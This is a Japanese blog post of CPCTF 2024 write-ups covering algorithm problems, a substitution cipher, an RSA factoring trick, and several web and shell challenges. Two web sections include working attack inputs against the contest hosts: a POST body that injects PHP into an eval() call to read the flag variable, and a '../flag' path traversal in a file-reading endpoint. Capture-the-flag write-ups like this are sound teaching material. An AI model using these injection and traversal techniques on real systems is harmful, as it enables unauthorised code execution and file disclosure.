[PPC] About half
[PPC] Compound Word
[Crypto] Substitution
[Web] Typing game
[Shell] netcat
[PPC] Balanced Choice
[PPC] CPC To F
[Web] Let's buy some array
[Crypto] RSA Trial
[Web] Read Novels
[Shell] veeeeeeery long text
[PPC] Power! or +1

[PPC] About half

書かれている通りに実装する。
文句を言うパターンを判定して、それ以外なら文句を言わないとすればよい。

int A, B;

string solve() {
    // Alice claims it.
    if (A * 2 < B) return "No";
    // Bob claims it.
    if (B * 2 < A) return "No";
    // peaceful world
    return "Yes";
}

void _main() {
    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Compound Word

https://yukicoder.me/submissions/975805

解法の基本である全列挙をする。
S[i]S[j]の順に繋げた文字列としてありうる文字列Tを全列挙するために、iとjをループで回して全列挙しよう。
Nは最大50なので、全通りの組み合わせを全探索しても、約2500通りくらいで十分間に合う。

Tとしてありうる文字列は全列挙すると、重複する文字列が出てくる場合があり、サンプル2のようにそれは同一視する必要がある。
よって、全列挙した文字列Tをsetに入れて重複を省いていく。
2500通りくらいなので、setに入れる計算量をあまり良く考えなくても間に合う。

int N;
string S[50];

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> S[i];

    set<string> possibilities;
    rep(i, 0, N) rep(j, 0, N) if(i != j) possibilities.insert(S[i] + S[j]);
    cout << possibilities.size() << endl;
}

[Crypto] Substitution

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug'dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}

をデコードする問題。
単なるROT13ではなかった。
置換式暗号っぽいので、https://quipqiup.com/ を使って解析すると復元できた。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{■■■■■■■■■■■■■■}

[Web] Typing game

タイピングゲームが与えられる。
ブラウザ上で動くのでjavascriptに何か情報が載っていないか探すと、/main.jsにロジックが書いてある。

document.getElementById("flag").textContent = "CPCTF{■■■■■■■■■■■■■■■■■■■}";

末尾にフラグが書いてあり、答えれば正答。

[Shell] netcat

wslを開いてnc shell-netcat.web.cpctf.space 30010を実行するとフラグがもらえる。

[PPC] Balanced Choice

https://yukicoder.me/submissions/975824

前提知識

動的計画法

重量がW以下になるように石を選んで価値を最大化ということで、かなり動的計画法みがある。
条件の「タイプ0とタイプ1の総重量の差がD以下」というのを除けば、以下のようなDPを解くことができる。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

総重量の差がD以下という条件が面倒で、DPの条件として総重量の差を入れるとすると幅が[-D,D]では収まらず、かつ、O(N³)で間に合わない。
ここで、若干の考察の飛躍が必要だが、総重量の差を計算するのに、タイプ0とタイプ1の石の総重量の組は全探索することができることに気が付く。
かつ、先ほど考えたDPを入れ込むと最終的な解法にたどり着く。

改めて解法であるが、最初にタイプ0の石とタイプ1の石を2つのグループに分け、それぞれのグループで以下のDPを計算する。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

これは基本的な最大系DPで計算が可能。
自分の実装だとdoDP関数でそれをやっている。
doDP関数ではdp[最後][w]の結果を返していて、それにより、タイプ0とタイプ1のそれぞれについて「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を最終結果として返している。これで、indexとしてwをとり、「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を返す配列としてdp0とdp1を用意する。

最後に、タイプ0の石の総重量 w0 とタイプ1の石の総重量 w1 を全探索し、w0とw1の差がD以下であるものについてdp0[w0]+dp1[w1]の最大値を取れば答えが得られる。

int N, W, D;
int t[5010], w[5010], v[5010];

const int BASE = 10101;
int dp[5010][10010];

vector<int> doDP(vector<pair<int,int>> wv) {
    int n = wv.size();
    rep(i, 0, n + 1) rep(w, 0, W + 1) dp[i][w] = -inf;
    dp[0][0] = 0;

    rep(i, 0, n) rep(w, 0, W + 1) {
        chmax(dp[i + 1][w], dp[i][w]);
        chmax(dp[i + 1][w + wv[i].first], dp[i][w] + wv[i].second);
    }

    vector<int> res(W + 1);
    rep(w, 0, W + 1) res[w] = dp[n][w];
    return res;
}

void _main() {
    cin >> N >> W >> D;
    vector<pair<int,int>> wv[2];
    rep(i, 0, N) {
        cin >> t[i] >> w[i] >> v[i];
        wv[t[i]].push_back({w[i], v[i]});
    }

    auto dp0 = doDP(wv[0]);
    auto dp1 = doDP(wv[1]);

    int ans = -inf;
    rep(w0, 0, W + 1) rep(w1, 0, W + 1) if(w0 + w1 <= W && abs(w0 - w1) <= D) chmax(ans, dp0[w0] + dp1[w1]);
    cout << ans << endl;
}

[PPC] CPC To F

https://yukicoder.me/submissions/975831

経験的に貪欲に取っていけばよさそうで、雑にペナもなかったので、submit証明した。
コードを見る方が分かりやすそうだが、やってることは先頭から貪欲にCPCTFかCPCTCPCが出てくれば選択して、選択できた回数が答えになる。

void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 5) == "CPCTF") ans++, i += 4;
        else if (S.substr(i, 7) == "CPCTCPC") ans++, i += 6;
    }
    cout << ans << endl;
}

[Web] Let's buy some array

ソースコードが与えられる。
./DockerfileにENV FLAG=CPCTF{dummy_flag}とあるので環境変数が取れればいい。
./src/purchase.phpに<td><?=eval('return ' . $_POST["quantity1"] . '*1000;')?></td>というのがあり、phpコマンドがインジェクションできる感じになっていた。

getenv('FLAG')でフラグが抜けるので不要部分を消すためにコメントを末尾につける感じで以下のようなリクエストを送ればフラグが得られる。

POST /purchase.php HTTP/2
Host: lets-buy-some-array.web.cpctf.space
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

quantity1=getenv('FLAG');//&quantity2=2&quantity3=3

[Crypto] RSA Trial

一般的なRSA暗号のe,n,cに加えてhintとしてp ** 3 + q ** 3が与えられる。

hint = p ** 3 + q ** 3 = (p + q)^3 - 3(p^2q + pq^2) = (p + q)^3 - 3pq(p + q)

なので、p + q = xとして、hint = x^3 - 3nxとしてみるとxの方程式になっているのでsageで解ける。

$ sage -q
sage: x = var('x')
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: hint = 741926771425232405504391032948866467022983955518121761192445202933333578061474125808287638169879980074289460780164873059834593372109391830484662576544603498916371997546990955652056782715...
sage: solve([hint == x^3 - 3*n*x], x)
[x == -17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206]

x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206
とわかる。

q = x - p
 n = pq 
   = p(x - p)
   = px - p^2

より、p^2 - px + n == 0をsageで解く。

$ sage -q
sage: p = var('p')
sage: x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846...
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: solve([p^2 - p*x + n == 0], p)
[p == 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147, p == 169992447630966858915888698252097138024929549454077071745755967876059342486814377573603835797671456147429214286974157576880880918312006854165708985792421413050688157226707305761122638977024328184158435239249537443610937944802531984738249044179408265418091660715862731719651393886894610221136158422905027929059]

2つ候補が出てくる。
1つ目を使うと復号できた。

from Crypto.Util.number import inverse, long_to_bytes

e = 65537
n = 23092800044032963629682521395205019839947642003167826599382222699373697364193150208236372091328385991953010686419513771974031306553943090844089407350702744297265154019154918540539009428899450143611305519368474018114104032120890018900113475523404485943172242122285155240861638459168673375124722506458788643101691165631602791150049953982221977216315274055244056210267706596664029582907315535291892378413527913785077182496961901383022363067730909373113193628948864207082281785114422087894895030078890350484796134835330823311047167028229204769491010319934092070070538766081863697228127118627729222708111150563573543048673
c = 19714854810441798425218192628520456872374135122326975578323755186726266185199972056073923483658286464301617879635089352592665411823244240238208566319965196140521967086597572168593119765678106046356937915278040055057930301488767227861758502916581923373613056173864307366286413718722274306171986734134743448287679110298196742575567340736883275297021190291513910182136087976821466778632389704189829913852031147612118343129466338264023123206349921130842481490266565146410287609316448549222868603718841318807492196159710288735318204155079252783344467761751889801445265805582070369839653840521902182492304750373649975282958

p = 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147
q = n // p

d = inverse(e, (p-1)*(q-1))

m = pow(c, d, n)
print(long_to_bytes(m))

[Web] Read Novels

ソースコードが与えられる。
./flagを取得するのがゴール。

@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)

ここでパストラバーサルを起こし、LFI達成できそう。
よって、/novel?name=../flagとするとフラグが得られる。

[Shell] veeeeeeery long text

sshで接続すると、カレントディレクトリにflag.txtがある。
cat flag.txtとすると大量に文字列が流れてくる。

$ cat flag.txt | wc
 100001  100001 6500065

ok. grepしましょう。

$ cat flag.txt | grep CPCTF
CPCTF{■■■■■■■■}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X

[PPC] Power! or +1

https://yukicoder.me/submissions/976561

前提知識

ダイクストラ

最初はDPで解けないか考えていた。

dp[x] := X=xにするためのコストの総和の最小値

かなり素直にDPは作れるが、問題はXをNにしたいのではなく、Nの倍数にしたいというのが厄介な所。
xがNを超えるとDPの範疇で計算ができない。
よって、xがNを超えた場合について深く考えてみる。

ここが重要な考察であるが、xがNを超えたときはx mod Nで状態を同一視して問題ない。
問題ないというのは、全ての操作においてx mod Nの状態で同一視したときに最終的な結果に影響しないということである。

操作1、操作2についてはmod上での操作は普通にできるため、xがNの倍数かどうかのみを判定するのに、xの具体的な値は必要なくx mod Nが分かっていれば十分である。
問題が操作3であるが、ここで「xがNを超えたときは」という条件が効いてきて、xがNを超えた時に操作3を1回行うと必ずXはNの倍数になる。
それもそのはずで階乗をすると、掛け算の中にNが含まれるのでNの倍数になる。よって、xの具体的な値に関係なく、むしろ、x mod Nの値にも関係なく、遷移先のx mod Nは0になる。
なので、操作3においてもx mod Nが分かっていれば十分である。
という訳でxがNを超えているか超えていないかで方針が変わるが、これなら状態数は間に合うようになる。
つまり、以下のようなDPテーブルを埋めていけばいい。

dp[mo][isLarger] := X % Nがmoであり、かつ、XがN以上かどうかがisLargerであるときのコストの総和の最小値

XがN以上の場合はmoが増えればコストの総和の最小値が増えるというDP的状況ではなくなるのでダイクストラでこのDPテーブルを埋めていくことになる。
状態数は2*10⁵ × 2なので問題ない。
遷移を見てみよう。

操作1は1通り、操作3も1通りである。操作3の階乗操作はあらかじめ階乗を事前計算しておくといい。
自分は以下を事前計算して使っている。計算時は10¹⁸を超えてくるので上限付き掛け算するといい。

P[x] := x!
PM[x] := x! mod N

上限付き掛け算の自分の実装はこんな感じ。掛け算してinfl（自分はconst ll infl = 1LL << 60;で定義）を超えたらinflに丸めている。

ll mul(ll a, ll b) { if(a==0) return 0; if(infl/a<b) return infl; return min(infl, a*b); }

問題は操作2である。
kを決める必要があるが、XがNを超えたmod Nでは下手に上限を決められない気がする。
しかし、よくよく考えると、コストのB^kはかなり大きく、kが64くらいになると10¹⁸を超えてしまう。
そこまで来ると操作1で+1をした方がコストが安く、最大でもANくらいで条件を満たせるのでkは雑に64を上限にしてしまっていい。
よって、操作2もkは[2,64]で探索すればよく、合計で遷移回数も63+1+1=65なのでこれなら計算可能。

あとは、この状態でNを超える超えないでいい感じに場合分けしながら、オーバーフロー対策をしながら、ダイクストラを計算すればdp[0][1]が答えになる。

はまやんはまやんはまやん

hamayanhamayan's blog

CPCTF 2024 Writeups